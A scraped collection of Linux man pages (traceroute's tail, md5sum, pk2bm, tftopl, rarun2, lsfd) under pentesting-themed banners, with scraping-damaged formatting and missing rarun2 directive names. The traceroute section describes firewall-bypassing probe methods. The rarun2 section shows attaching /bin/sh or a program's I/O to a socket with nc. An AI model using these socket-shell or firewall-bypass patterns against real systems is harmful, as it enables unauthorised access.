Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2256 - Linux cli command md5sum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command md5sum and provides detailed information about the command md5sum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the md5sum.

NAME 🖥️ md5sum 🖥️

compute and check MD5 message digest

SYNOPSIS

md5sum [OPTION]… [FILE]…

DESCRIPTION

Print or check MD5 (128-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-b, –binary
read in binary mode

-c, –check
read checksums from the FILEs and check them

–tag
create a BSD-style checksum

-t, –text
read in text mode (default)

-z, –zero
end each output line with NUL, not newline, and disable file name escaping

The following five options are useful only when verifying checksums:

–ignore-missing
don’t fail or report status for missing files

–quiet
don’t print OK for each successfully verified file

–status
don’t output anything, status code shows success

–strict
exit non-zero for improperly formatted checksum lines

-w, –warn
warn about improperly formatted checksum lines

–help
display this help and exit

–version
output version information and exit

The sums are computed as described in RFC 1321. When checking, the input should be a former output of this program. The default mode is to print a line with: checksum, a space, a character indicating input mode (’*’ for binary, ’ ’ for text or where binary is insignificant), and name for each FILE.

Note: There is no difference between binary mode and text mode on GNU systems.

BUGS

Do not use the MD5 algorithm for security related purposes. Instead, use an SHA-2 algorithm, implemented in the programs sha224sum(1), sha256sum(1), sha384sum(1), sha512sum(1), or the BLAKE2 algorithm, implemented in b2sum(1)

AUTHOR

Written by Ulrich Drepper, Scott Miller, and David Madore.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cksum(1)

Full documentation <https://www.gnu.org/software/coreutils/md5sum>
or available locally via: info ‘(coreutils) md5sum invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2257 - Linux cli command pk2bm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pk2bm and provides detailed information about the command pk2bm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pk2bm.

NAME 🖥️ pk2bm 🖥️

create a bitmap from a TeX pkfont

SYNOPSIS:

pk2bm [-bh] [-Wwidth] [-Hheight] -cchar pkfont

pk2bm [-bh] [-Wwidth] [-Hheight] -ooctchar pkfont

DESCRIPTION

This program generates a bitmap (ASCII file) which can be used to create X11 applications. The bitmap file consists of all pixels of the specified character (via the -c or -o option) from the given pkfont. The format is described in bitmap(X11).

The pkfont is a packed fontfile generated by gftopk(TeX) from a gffont. A gffont is the output of METAFONT a program to design fonts in a device independent way.

With the -b flag a bitmap is generated in which all black pixels are drawn as a `*’ and all white bits as a `.’. With the -h flag a hexadecimal bitmap dump is generated.

The -W and/or -H options can be used to create a bitmap of respectivally `width’ and `height’ pixels. The pk-bitmap will in this case be centered according to these new dimensions.

The output is written to the standard output.

SEE ALSO

`METAFONT', Donald Knuth.
`The PKtype processor', belonging to the METAFONTware.
bitmap(X11), 
gftopk(TeX), 
pktype(TeX), 
ps2pk(1)

AUTHOR

Piet Tutelaers
Maintained in TeX Live; please send bug reports or other correspondence
to [email protected] (https://lists.tug.org/tex-k).
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2258 - Linux cli command tftopl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tftopl and provides detailed information about the command tftopl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tftopl.

NAME 🖥️ tftopl 🖥️

convert TeX font metric (tfm) files to property lists

SYNOPSIS

tftopl [OPTIONS] tfm_name[.tfm] [pl_name[.pl]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The tftopl program translates a (program-oriented) font metric file to a (human-oriented) property list file. Thus, you can edit the contents of the TFM files, if the font designer has not done his or her job properly, or if you’re encountering strange difficulties, or if you’re just curious. It also serves as a TFM-file validating program, i.e., if no error messages are given, the input file is correct.

The pl_name is extended with .pl if it lacks a suffix. If pl_name is not given, standard output is used. Likewise, tfm_name is extended with .tfm if it lacks a suffix. Also, path searching is done for the TFM file using the environment variable TEXFONTS. If that is not set, tftopl uses the system default.

See tex(1) for the details of the searching.

OPTIONS

**-charcode-format=**format
The argument format specifies how character codes are output in the PL file. By default, only letters and digits are output using the C integer code (i.e., in ASCII); the others are output in octal. (Unless the font’s coding scheme starts with TeX math sy or TeX math ex, in which case all character codes are output in octal.) If format is ascii, all character codes that correspond to graphic characters, besides the left and right parentheses, are output in ASCII. Finally, if format is octal, all character codes are output in octal.

-verbose
Without this option, tftopl operates silently. With it, a banner and progress report are printed on stdout.

SEE ALSO

pltotf(1),
Donald E. Knuth, TeXware.
Donald E. Knuth, The Metafontbook (Volume C of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13445-4.

AUTHORS

Donald E. Knuth wrote the program. It was published as part of the TeXware technical report, available from the TeX Users Group. Howard Trickey and Pavel Curtis originally ported it to Unix.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2259 - Linux cli command rarun2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rarun2 and provides detailed information about the command rarun2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rarun2.

This program is used as a launcher for running programs with different environment, arguments, permissions, directories and overridden default file descriptors.

rarun2 -t will show the terminal name and wait for a connection from another process. try rarun2 stdio=<ttypath> program=/bin/sh

The program just accepts a single argument which is the filename of the configuration file to run the program.

It is useful when you have to run a program using long arguments or pass long data to stdin or things like that usually are required for exploiting crackmes :)

The rr2 (rarun2) configuration file accepts the following directives, described as key=value entries and comments defined as lines starting with ‘#’.

set value for argument N passed to the program

enable or disable ASLR

set 32 or 64 bit (if the architecture supports it)

change directory before executing the program

run the program in chroot. requires some previous setup

unset the whole environment

set no limit the core file size

boolean value (true|false) to print runtime in milliseconds to stderr after program execution

connect stdin/stdout/stderr to a socket

use a pty for connection over socket (with connect/listen)

set a file with lines like `var=value` to be used as env

used with the listen option, allow to spawn a different process for each connection. Ignored when debugging.

set string to be passed to the program via stdin

override path where the dynamic loader will look for shared libraries

bound stdin/stdout/stderr to a listening socket

set the maximum size for the stack

set the maximum number of processes

set the maximum number of file descriptors

set the niceness level of the process

preload a library (not supported on Windows, only linux,osx,bsd)

Set to false by default, otherwise it will run the program in background, detached from the terminal.

path to program to be executed

use execve instead of posix_spawn (osx tricks)

path to the library to be executed

function name to call from runlib library

preload with libr2, kill -USR1 to get an r2 shell or -USR2 to spawn a webserver in a thread

run the webserver in a thread just at starting the r2preload

set value for given environment variable

set effective process group id

set effective process uid

set process group id

set process uid

sleep for the given amount of seconds

select file to read data from stdin

select file to replace stdout file descriptor

execute the given command

set a timeout

signal to use when killing the child because the timeout happens

unset one environment variable

Every value in this configuration file can contain a special

Slurp contents of file and put them inside the key

Escape characters useful for hex chars

Escape characters useful for hex chars

Run command to store the output in the variable

Parse hexpair string and store it in the variable

Parse hexpair string from output of command and store it in the variable

Parses the input string and returns it as integer

Sample rarun2 script

$ cat foo.rr2 #!/usr/bin/rarun2 program=./pp400 arg0=10 stdin=foo.txt chdir=/tmp clearenv=true setenv=EGG=eggsy setenv=NOFUN=nogames unsetenv=NOFUN # EGG will be the only env variable #chroot=. ./foo.rr2

Connecting a program to a socket

$ nc -l 9999 $ rarun2 program=/bin/ls connect=localhost:9999

Debugging a program redirecting IO to another terminal

## open a new terminal and type ’tty’ to get $ tty ; clear ; sleep 999999 /dev/ttyS010 ## in another terminal run r2 $ r2 -r foo.rr2 -d ls $ cat foo.rr2 #!/usr/bin/rarun2 stdio=/dev/ttys010 ## Or you can use -R to set a key=value r2 -R stdio=/dev/ttys010 -d ls

You can also use the – flag to specify program and arguments in a more natural way:

$ rarun2 timeout=2 – sleep 4

Run a library function

$ rarun2 runlib=/lib/libc-2.25.so runlib.fcn=system arg1=“ls /”

RARUN2_ARGS useful to just run “rarun2” but parse arguments from environment var

Written by pancake <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2260 - Linux cli command lsfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lsfd and provides detailed information about the command lsfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lsfd.

NAME 🖥️ lsfd 🖥️

list file descriptors

SYNOPSIS

lsfd [option]

DESCRIPTION

lsfd is intended to be a modern replacement for lsof(8) on Linux systems. Unlike lsof, lsfd is specialized to Linux kernel; it supports Linux specific features like namespaces with simpler code. lsfd is not a drop-in replacement for lsof; they are different in the command line interface and output formats.

The default output is subject to change. So whenever possible, you should avoid using default outputs in your scripts. Always explicitly define expected columns by using –output columns-list in environments where a stable output is required.

lsfd uses Libsmartcols for output formatting and filtering. See the description of –output option for customizing the output format, and –filter option for filtering. Use lsfd –list-columns to get a list of all available columns.

OPTIONS

-l, –threads

List in threads level.

-J, –json

Use JSON output format.

-n, –noheadings

Don’t print headings.

-o, –output list

Specify which output columns to print. See the OUTPUT COLUMNS section for details of available columns.

The default list of columns may be extended if list is specified in the format +list (e.g., lsfd -o +DELETED).

-r, –raw

Use raw output format.

–notruncate

Don’t truncate text in columns.

-p, –pid pids

Collect information only for specified processes. pids is a list of pids. A comma or whitespaces can be used as separators. You can use this option with pidof(1). See FILTER EXAMPLES.

Both -Q option with an expression including PID, e.g. -Q (PID == 1), and -p option, e.g. -p 1, may print the same output but using -p option is much more efficient because -p option works at a much earlier stage of processing than the -Q option.

-i[4|6], –inet[=4|=6]

List only IPv4 sockets and/or IPv6 sockets.

-Q, –filter expr

Print only the files matching the condition represented by the expr. See also scols-filter(5) and FILTER EXAMPLES.

-C, –counter label:filter_expr

Define a custom counter used in –summary output. lsfd makes a counter named label. During collect information, lsfd counts files matching filter_expr, and stores the counted number to the counter named label. lsfd applies filters defined with –filter options before counting; files excluded by the filters are not counted.

See scols-filter(5) about filter_expr. label should not include { nor :. You can define multiple counters by specifying this option multiple times.

See also COUNTER EXAMPLES.

–summary[=when]

This option controls summary lines output. The optional argument when can be only, append or never. If the when argument is omitted, it defaults to only.

The summary reports counters. A counter consists of a label and an integer value. –counter is the option for defining a counter. If a user defines no counter, lsfd uses the definitions of pre-defined built-in counters (default counters) to make the summary output.

CAUTION: Using –summary and –json may make the output broken. Only combining –summary=only and –json is valid.

–debug-filter

Dump the internal data structure for the filter and exit. This is useful only for lsfd developers.

–dump-counters

Dump the definition of counters used in –summary output.

-H, –list-columns

List available columns that you can specify at –output option.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

OUTPUT COLUMNS

Each column has a type. Types are surround by < and >.

CAUTION: The names and types of columns are not stable yet. They may be changed in the future releases.

AINODECLASS <string>

Class of anonymous inode.

ASSOC <string>

Association between file and process.

BLKDRV <string>

Block device driver name resolved by /proc/devices.

BPF-MAP.ID <number>

Bpf map ID.

BPF-MAP.TYPE <string>

Decoded name of bpf map type.

BPF-MAP.TYPE.RAW <number>

Bpf map type (raw).

BPF.NAME <string>

Bpf object name.

BPF-PROG.ID <number>

Bpf program ID.

BPF-PROG.TYPE <string>

Decoded name of bpf program type.

BPF-PROG.TYPE.RAW <number>

Bpf program type (raw).

CHRDRV <string>

Character device driver name resolved by /proc/devices.

COMMAND <string>

Command of the process opening the file.

DELETED <boolean>

Reachability from the file system.

DEV <string>

ID of the device containing the file.

DEVTYPE <string>

Device type (blk, char, or nodev).

ENDPOINT <string>

IPC endpoints information communicated with the fd.

lsfd collects endpoints within the processes that lsfd scans; lsfd may miss some endpoints if you limits the processes with -p option.

The format of the column depends on the object associated with the fd:

FIFO type, mqueue type, ptmx and pts sources

PID,COMMAND,ASSOC[-r][-w]

The last characters ([-r][-w]) represents the read and/or write mode of the endpoint.

eventfd type

PID,COMMAND,ASSOC

UNIX-STREAM

PID,COMMAND,ASSOC[-r?][-w?]

About the last characters ([-r?][-w?]), see the description of SOCK.SHUTDOWN.

EVENTFD.ID <number>

Eventfd ID.

EVENTPOLL.TFDS <string>

File descriptors targeted by the eventpoll file.

FD <number>

File descriptor for the file.

FLAGS <string>

Flags specified when opening the file.

FUID <number>

User ID number of the file’s owner.

INET.LADDR <string>

Local IP address.

INET.RADDR <string>

Remote IP address.

INET6.LADDR <string>

Local IP6 address.

INET6.RADDR <string>

Remote IP6 address.

INODE <number>

Inode number.

INOTIFY.INODES <string>

Cooked version of INOTIFY.INODES.RAW. The format of the element is inode-number,source-of-inode.

INOTIFY.INODES.RAW <string>

List of monitoring inodes. The format of the element is inode-number,device-major:device-minor.

KNAME <string>

Raw file name extracted from from /proc/pid/fd/fd or /proc/pid/map_files/region.

KTHREAD <boolean>

Whether the process is a kernel thread or not.

MAJ:MIN <string>

Device ID for special, or ID of device containing file.

MAPLEN <number>

Length of file mapping (in page).

MISCDEV <string>

Misc character device name resolved by /proc/misc.

MNTID <number>

Mount ID.

MODE <string>

Access mode (rwx).

NAME <string>

Cooked version of KNAME. It is mostly same as KNAME.

Some files have special formats and information sources:

bpf-map

id=BPF-MAP.ID type=BPF-MAP.TYPE[ name=BPF.NAME]

bpf-prog

id=BPF-PROG.ID type=BPF-PROG.TYPE[ name=BPF.NAME]

eventpoll

tfds=EVENTPOLL.TFDS

eventfd

id=EVENTFD.ID

inotify

inodes=INOTIFY.INODES

misc:tun

iface=TUN.IFACE

NETLINK

protocol=NETLINK.PROTOCOL[ lport=NETLINK.LPORT[ group=NETLINK.GROUPS]]

PACKET

type=SOCK.TYPE[ protocol=PACKET.PROTOCOL][ iface=PACKET.IFACE]

pidfd

pid=TARGET-PID comm=TARGET-COMMAND nspid=TARGET-NSPIDS

lsfd extracts TARGET-PID and TARGET-NSPIDS from /proc/pid/fdinfo/fd.

PING

state=SOCK.STATE[ id=PING.ID][ laddr=INET.LADDR [ raddr=INET.RADDR]]

PINGv6

state=SOCK.STATE[ id=PING.ID][ laddr=INET6.LADDR [ raddr=INET6.RADDR]]

ptmx

tty-index=PTMX.TTY-INDEX

lsfd extracts PTMX.TTY-INDEX from /proc/pid/fdinfo/fd.

RAW

state=SOCK.STATE[ protocol=RAW.PROTOCOL [ laddr=INET.LADDR [ raddr=INET.RADDR]]]

RAWv6

state=SOCK.STATE[ protocol=RAW.PROTOCOL [ laddr=INET6.LADDR [ raddr=INET6.RADDR]]]

signalfd

mask=SIGNALFD.MASK

TCP, TCPv6

state=SOCK.STATE[ laddr=TCP.LADDR [ raddr=TCP.RADDR]]

timerfd

clockid=TIMERFD.CLOCKID[ remaining=TIMERFD.REMAINING [ interval=TIMERFD.INTERVAL]]

UDP, UDPv6

state=SOCK.STATE[ laddr=UDP.LADDR [ raddr=UDP.RADDR]]

lsfd hides raddr= if UDP.RADDR is 0.0.0.0 and UDP.RPORT is 0.

UDP-LITE, UDPLITEv6

state=SOCK.STATE[ laddr=UDPLITE.LADDR [ raddr=UDPLITE.RADDR]]

UNIX-STREAM

state=SOCK.STATE[ path=UNIX.PATH]

